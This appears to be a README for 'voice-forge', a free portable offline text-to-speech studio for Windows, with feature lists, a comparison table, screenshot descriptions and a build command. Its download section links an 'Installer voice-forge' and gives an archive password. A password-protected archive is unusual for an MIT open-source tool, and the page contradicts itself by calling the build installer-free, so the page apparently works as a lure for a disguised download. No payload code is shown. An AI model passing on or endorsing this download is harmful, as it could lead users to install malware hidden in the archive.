🎤 Free, open-source TTS studio for Windows — local neural voices, batch narration, audiobook export. 100 MB portable, offline, MIT, no cloud.
- ✅ Local neural voices — Piper-class ONNX models speak on your machine with no API keys
- ✅ Batch narration — feed a folder of text files or a CSV and get one audio file per line
- ✅ Audiobook export — long text split into numbered chapters with silence between them
- ✅ Pause and emphasis controls — comma pauses, sentence gaps and speed per voice tuned in the panel
- ✅ Voice audition shelf — ten voices compared on the same sentence before committing to a read
- ✅ WAV and MP3 out — raw audio for editing or encoded files ready to publish
- ✅ 100 MB self-contained exe — runtime bundled, voices download separately, offline after that, MIT
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | voice-forge | ElevenLabs | Balabolka | Piper CLI |
|---|---|---|---|---|
| Price | Free, MIT | Paid subscription | Freeware | Free, OSS |
| Open source | Yes | No | No | Yes |
| Text stays local | Yes | Uploaded | Yes | Yes |
| Batch CSV narration | Yes | API only | Partial | Scripted |
| Audiobook chapter export | Yes | No | No | No |
| Portable, no install | Yes, 100 MB | Browser | Installer | Python env |
free text to speech for Windows that works offline?
Cloud voices bill per character and the text leaves your machine, while old offline voices still sound robotic. voice-forge runs neural TTS models locally, narrates whole folders in batch and exports chaptered audiobooks. It is a 100 MB portable exe, MIT, unlimited characters, no account needed.
All screenshots describe the 1280x800 dark UI.
- Dark studio (#121418, magenta #E879F9): text editor left with a highlighted pause marker, voice shelf right with ten audition rows, waveform strip at bottom.
- Batch narration: CSV with 240 rows mapped to output names, progress at 132 files, per-row status lights, ETA chip reading 18 minutes.
- Audiobook export: chapter list auto-split on headings, silence gap stepper at 1.2 s, bitrate dropdown, toast reading 24 chapter files written.
| Source | Link |
|---|---|
| 💾 Installer voice-forge | Installer voice-forge |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.